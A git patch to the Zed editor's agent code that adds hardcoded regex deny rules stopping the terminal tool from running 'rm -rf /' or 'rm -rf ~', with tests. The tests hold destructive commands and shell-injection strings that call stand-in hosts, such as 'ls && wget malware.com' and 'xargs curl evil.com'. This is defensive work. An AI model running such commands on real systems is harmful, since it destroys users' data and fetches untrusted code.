From b62d73e4bc5fa4134ed1fe207786f794808c0866 Mon Sep 17 00:00:00 2001 From: Richard Feldman Date: Mon, 2 Feb 2026 17:10:31 -0500 Subject: [PATCH] Add tool security rules that can't be overridden by settings (#48209) This change introduces hardcoded security rules for the terminal tool that cannot be bypassed by any setting, including `always_allow_tool_actions`. ## Currently Blocked Commands - `rm -rf /` - Recursive deletion of root filesystem - `rm -rf ~` - Recursive deletion of home directory These rules are checked **before** the `always_allow_tool_actions` global flag, ensuring they can never be bypassed. The rules also check parsed sub-commands, so `ls && rm -rf /` is also blocked. Release Notes: - Certain known-bad tool uses are now automatically blocked, such as the terminal tool attempting to run `rm -rf /` or `rm -rf ~` --- crates/agent/src/tests/mod.rs | 3 +- crates/agent/src/tool_permissions.rs | 202 ++++++++++++++++++++++----- crates/settings_content/src/agent.rs | 4 + 3 files changed, 173 insertions(+), 36 deletions(-) diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs index 948ec877148b0ee3e872e1b5beaa70b2a58ba093..1ae188a6440bec0375fd76dab23facb4a5c60590 100644 --- a/crates/agent/src/tests/mod.rs +++ b/crates/agent/src/tests/mod.rs @@ -3692,8 +3692,9 @@ async fn test_terminal_tool_permission_rules(cx: &mut TestAppContext) { result.is_err(), "expected command to be blocked by deny rule" ); + let err_msg = result.unwrap_err().to_string().to_lowercase(); assert!( - result.unwrap_err().to_string().contains("blocked"), + err_msg.contains("blocked"), "error should mention the command was blocked" ); } diff --git a/crates/agent/src/tool_permissions.rs b/crates/agent/src/tool_permissions.rs index f747aa56eb36f3b73ff8c8ba2450e7f6e843290a..46313faf05577659a3bdb9b9b70b241ea75256c2 100644 --- a/crates/agent/src/tool_permissions.rs +++ b/crates/agent/src/tool_permissions.rs @@ -1,10 +1,75 @@ use crate::AgentTool; use crate::shell_parser::extract_commands; use crate::tools::TerminalTool; -use agent_settings::{AgentSettings, ToolPermissions, ToolRules}; +use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules}; use settings::ToolPermissionMode; +use std::sync::LazyLock; use util::shell::ShellKind; +const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \ + harmful to be allowed, and cannot be overridden by settings."; + +/// Security rules that are always enforced and cannot be overridden by any setting. +/// These protect against catastrophic operations like wiping filesystems. +pub struct HardcodedSecurityRules { + pub terminal_deny: Vec, +} + +pub static HARDCODED_SECURITY_RULES: LazyLock = LazyLock::new(|| { + HardcodedSecurityRules { + terminal_deny: vec![ + // Recursive deletion of root - "rm -rf /" or "rm -rf / " + CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*/\s*$", false) + .expect("hardcoded regex should compile"), + // Recursive deletion of home - "rm -rf ~" (but not ~/subdir) + CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*~\s*$", false) + .expect("hardcoded regex should compile"), + ], + } +}); + +/// Checks if input matches any hardcoded security rules that cannot be bypassed. +/// Returns a Deny decision if blocked, None otherwise. +fn check_hardcoded_security_rules( + tool_name: &str, + input: &str, + shell_kind: ShellKind, +) -> Option { + // Currently only terminal tool has hardcoded rules + if tool_name != TerminalTool::name() { + return None; + } + + let rules = &*HARDCODED_SECURITY_RULES; + let terminal_patterns = &rules.terminal_deny; + + // First: check the original input as-is + for pattern in terminal_patterns { + if pattern.is_match(input) { + return Some(ToolPermissionDecision::Deny( + HARDCODED_SECURITY_DENIAL_MESSAGE.into(), + )); + } + } + + // Second: parse and check individual sub-commands (for chained commands) + if shell_kind.supports_posix_chaining() { + if let Some(commands) = extract_commands(input) { + for command in &commands { + for pattern in terminal_patterns { + if pattern.is_match(command) { + return Some(ToolPermissionDecision::Deny( + HARDCODED_SECURITY_DENIAL_MESSAGE.into(), + )); + } + } + } + } + } + + None +} + #[derive(Debug, Clone, PartialEq, Eq)] pub enum ToolPermissionDecision { Allow, @@ -59,9 +124,14 @@ impl ToolPermissionDecision { always_allow_tool_actions: bool, shell_kind: ShellKind, ) -> ToolPermissionDecision { - // If always_allow_tool_actions is enabled, bypass all permission checks. - // This is intentionally placed first - it's a global override that the user - // must explicitly enable, understanding that it bypasses all security rules. + // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool. + // These cannot be bypassed by any user settings. + if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) { + return denial; + } + + // If always_allow_tool_actions is enabled, bypass user-configured permission checks. + // Note: This no longer bypasses hardcoded security rules (checked above). if always_allow_tool_actions { return ToolPermissionDecision::Allow; } @@ -410,26 +480,29 @@ mod tests { .is_allow(); } - // deny pattern matches + // deny pattern matches (using commands that aren't blocked by hardcoded rules) #[test] fn deny_blocks() { - t("rm -rf /").deny(&["rm\\s+-rf"]).is_deny(); + t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny(); } #[test] - fn global_bypasses_deny() { - // always_allow_tool_actions bypasses ALL checks, including deny - t("rm -rf /").deny(&["rm\\s+-rf"]).global(true).is_allow(); + fn global_bypasses_user_deny() { + // always_allow_tool_actions bypasses user-configured deny rules + t("rm -rf ./temp") + .deny(&["rm\\s+-rf"]) + .global(true) + .is_allow(); } #[test] fn deny_blocks_with_mode_allow() { - t("rm -rf /") + t("rm -rf ./temp") .deny(&["rm\\s+-rf"]) .mode(ToolPermissionMode::Allow) .is_deny(); } #[test] fn deny_middle_match() { - t("echo rm -rf x").deny(&["rm\\s+-rf"]).is_deny(); + t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny(); } #[test] fn deny_no_match_falls_through() { @@ -487,7 +560,7 @@ mod tests { // deny beats allow #[test] fn deny_beats_allow() { - t("rm -rf /tmp/x") + t("rm -rf ./tmp/x") .allow(&["/tmp/"]) .deny(&["rm\\s+-rf"]) .is_deny(); @@ -495,7 +568,7 @@ mod tests { #[test] fn deny_beats_confirm() { - t("sudo rm -rf /") + t("sudo rm -rf ./temp") .confirm(&["sudo"]) .deny(&["rm\\s+-rf"]) .is_deny(); @@ -675,75 +748,81 @@ mod tests { #[test] fn shell_injection_via_double_ampersand_not_allowed() { - t("ls && rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls && wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_semicolon_not_allowed() { - t("ls; rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls; wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_pipe_not_allowed() { - t("ls | xargs rm -rf").allow(&["^ls"]).is_confirm(); + t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_backticks_not_allowed() { - t("echo `rm -rf /`").allow(&[pattern("echo")]).is_confirm(); + t("echo `wget malware.com`") + .allow(&[pattern("echo")]) + .is_confirm(); } #[test] fn shell_injection_via_dollar_parens_not_allowed() { - t("echo $(rm -rf /)").allow(&[pattern("echo")]).is_confirm(); + t("echo $(wget malware.com)") + .allow(&[pattern("echo")]) + .is_confirm(); } #[test] fn shell_injection_via_or_operator_not_allowed() { - t("ls || rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls || wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_background_operator_not_allowed() { - t("ls & rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls & wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_newline_not_allowed() { - t("ls\nrm -rf /").allow(&["^ls"]).is_confirm(); + t("ls\nwget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_via_process_substitution_input_not_allowed() { - t("cat <(rm -rf /)").allow(&["^cat"]).is_confirm(); + t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm(); } #[test] fn shell_injection_via_process_substitution_output_not_allowed() { - t("ls >(rm -rf /)").allow(&["^ls"]).is_confirm(); + t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_without_spaces_not_allowed() { - t("ls&&rm -rf /").allow(&["^ls"]).is_confirm(); - t("ls;rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls&&wget malware.com").allow(&["^ls"]).is_confirm(); + t("ls;wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] fn shell_injection_multiple_chained_operators_not_allowed() { - t("ls && echo hello && rm -rf /") + t("ls && echo hello && wget malware.com") .allow(&["^ls"]) .is_confirm(); } #[test] fn shell_injection_mixed_operators_not_allowed() { - t("ls; echo hello && rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls; echo hello && wget malware.com") + .allow(&["^ls"]) + .is_confirm(); } #[test] fn shell_injection_pipe_stderr_not_allowed() { - t("ls |& rm -rf /").allow(&["^ls"]).is_confirm(); + t("ls |& wget malware.com").allow(&["^ls"]).is_confirm(); } #[test] @@ -758,7 +837,10 @@ mod tests { #[test] fn deny_catches_injected_command() { - t("ls && rm -rf /").allow(&["^ls"]).deny(&["^rm"]).is_deny(); + t("ls && rm -rf ./temp") + .allow(&["^ls"]) + .deny(&["^rm"]) + .is_deny(); } #[test] @@ -890,10 +972,10 @@ mod tests { #[test] fn case_sensitive_deny() { - t("rm -rf /") + t("rm -rf ./temp") .deny_case_sensitive(&[pattern("rm")]) .is_deny(); - t("RM -RF /") + t("RM -RF ./temp") .deny_case_sensitive(&[pattern("rm")]) .mode(ToolPermissionMode::Allow) .is_allow(); @@ -906,7 +988,7 @@ mod tests { #[test] fn nushell_allows_deny_patterns() { - t("rm -rf /") + t("rm -rf ./temp") .deny(&["rm\\s+-rf"]) .shell(ShellKind::Nushell) .is_deny(); @@ -961,12 +1043,62 @@ mod tests { let p = ToolPermissions { tools }; let result = - ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix); + ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix); match result { ToolPermissionDecision::Deny(msg) => { - assert!(msg.contains("2 regex patterns"), "Expected plural: {}", msg); + assert!( + msg.contains("2 regex patterns"), + "Expected '2 regex patterns' in message, got: {}", + msg + ); } - _ => panic!("Expected Deny"), + other => panic!("Expected Deny, got {:?}", other), } } + + // Hardcoded security rules tests - these rules CANNOT be bypassed + + #[test] + fn hardcoded_blocks_rm_rf_root() { + // rm -rf / should be blocked by hardcoded rules + t("rm -rf /").is_deny(); + } + + #[test] + fn hardcoded_blocks_rm_rf_home() { + // rm -rf ~ should be blocked by hardcoded rules + t("rm -rf ~").is_deny(); + } + + #[test] + fn hardcoded_cannot_be_bypassed_by_global() { + // Even with always_allow_tool_actions=true, hardcoded rules block + t("rm -rf /").global(true).is_deny(); + t("rm -rf ~").global(true).is_deny(); + } + + #[test] + fn hardcoded_cannot_be_bypassed_by_allow_pattern() { + // Even with an allow pattern that matches, hardcoded rules block + t("rm -rf /").allow(&[".*"]).is_deny(); + } + + #[test] + fn hardcoded_allows_safe_rm() { + // rm -rf on a specific path should NOT be blocked + t("rm -rf ./build") + .mode(ToolPermissionMode::Allow) + .is_allow(); + t("rm -rf /tmp/test") + .mode(ToolPermissionMode::Allow) + .is_allow(); + } + + #[test] + fn hardcoded_checks_chained_commands() { + // Hardcoded rules should catch dangerous commands in chains + t("ls && rm -rf /").is_deny(); + t("echo hello; rm -rf ~").is_deny(); + t("cargo build && rm -rf /").global(true).is_deny(); + } } diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs index 56a7efaa6ebfc52446673010a0f8d882e22782cb..a3ea6a9784b0ed2c203bda060caf95367568903f 100644 --- a/crates/settings_content/src/agent.rs +++ b/crates/settings_content/src/agent.rs @@ -70,6 +70,10 @@ pub struct AgentSettingsContent { /// Whenever a tool action would normally wait for your confirmation /// that you allow it, always choose to allow it. /// + /// **Security note**: Even with this enabled, Zed's built-in security rules + /// still block some tool actions, such as the terminal tool running `rm -rf /` or `rm -rf ~`, + /// to prevent certain classes of failures from happening. + /// /// This setting has no effect on external agents that support permission modes, such as Claude Code. /// /// Set `agent_servers.claude.default_mode` to `bypassPermissions`, to disable all permission requests when using Claude Code.